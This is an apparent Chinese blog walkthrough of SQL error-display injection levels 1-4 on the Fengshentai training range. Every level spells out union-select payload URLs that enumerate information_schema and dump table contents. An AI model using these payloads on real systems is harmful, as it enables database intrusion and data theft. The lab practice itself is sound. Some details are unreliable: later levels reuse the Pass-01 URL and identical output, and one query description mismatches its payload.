封神台靶场-SQL显错注入1-4

神医
神医
发布于 2023-09-29 / 7 阅读 / 0 评论 / 0 点赞

封神台靶场-SQL显错注入1-4

思维导图

1665378201-image.png

Pass-01

数据库查询语句:

select *from user where id=1
#由此可以看到数据库的查询语句是直接拼接id获取的字符,此时我们可以直接注入

判断是否存在注入

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=1 #页面显示正常
http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=2 #页面显示异常

查字段

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1 order by 3 #页面正常
http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1 order by 4 #页面异常
#字段是为3

查找回显点

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1 union select 1,2,3
#得到回显点为2,3

查库名

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1 union select 1,2,database()
查询结果输出库名:error

查表名

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()
查询结果输出表名:error_flag,user

查字段

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'error_flag'
查询结果输出字段名:Id,flag

查数据

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1 union select 1,2,group_concat(flag) from error_flag
查询结果输出数据:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K

Pass-02

数据库查询语句:

select *from user where id='1'
#由此可以看到数据库的查询语句是有'拼接的,此时我们需要提供一个'使之闭合,并且还需要加上--+注释掉原有语句中的'

判断是否存在注入

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1' and 1=1 --+ #页面显示正常
http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1' and 1=2 --+ #页面显示异常

查字段

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1' order by 3 --+ #页面正常
http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1' order by 4 --+ #页面异常
#字段是为3

查找回显点

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1' union select 1,2,3 --+
#得到回显点为2,3

查库名

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1' union select 1,2,database()--+
查询结果输出库名:error

查表名

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
查询结果输出表名:error_flag,user

查字段

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'error_flag' --+
查询结果输出字段名:Id,flag

查数据

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1' union select 1,2,group_concat(flag) from error_flag --+
查询结果输出数据:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K

Pass-03

数据库查询语句:

select *from user where id=('1')
#由此可以看到数据库的查询语句是有'和()拼接的,此时我们需要提供一个')使之闭合,并且还需要加上--+注释掉原有语句中的')

判断是否存在注入

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1') and 1=1 --+ #页面显示正常
http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1') and 1=2 --+ #页面显示异常

查字段

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1') order by 3 --+ #页面正常
http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1') order by 4 --+ #页面异常
#字段是为3

查找回显点

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1') union select 1,2,3 --+
#得到回显点为2,3

查库名

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1') union select 1,2,database()--+
查询结果输出库名:error

查表名

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
查询结果输出表名:error_flag,user

查字段

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'error_flag' --+
查询结果输出字段名:Id,flag

查数据

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1') union select 1,2,group_concat(flag) from error_flag --+
查询结果输出数据:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K

Pass-04

数据库查询语句:

select *from user where id="1"
#由此可以看到数据库的查询语句是有"和()的,此时我们需要提供一个")使之闭合,并且还需要加上--+注释掉原有语句中的")

判断是否存在注入

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1") and 1=1 --+ #页面显示正常
http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1") and 1=2 --+ #页面显示异常

查字段

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1") order by 3 --+ #页面正常
http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1")order by 4 --+ #页面异常
#字段是为3

查找回显点

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1") union select 1,2,3 --+
#得到回显点为2,3

查库名

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1") union select 1,2,database()--+
查询结果输出库名:error

查表名

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
查询结果输出表名:error_flag,user

查字段

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'error_flag' --+
查询结果输出字段名:Id,flag

查数据

http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1") union select 1,2,group_concat(flag) from error_flag --+
查询结果输出数据:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K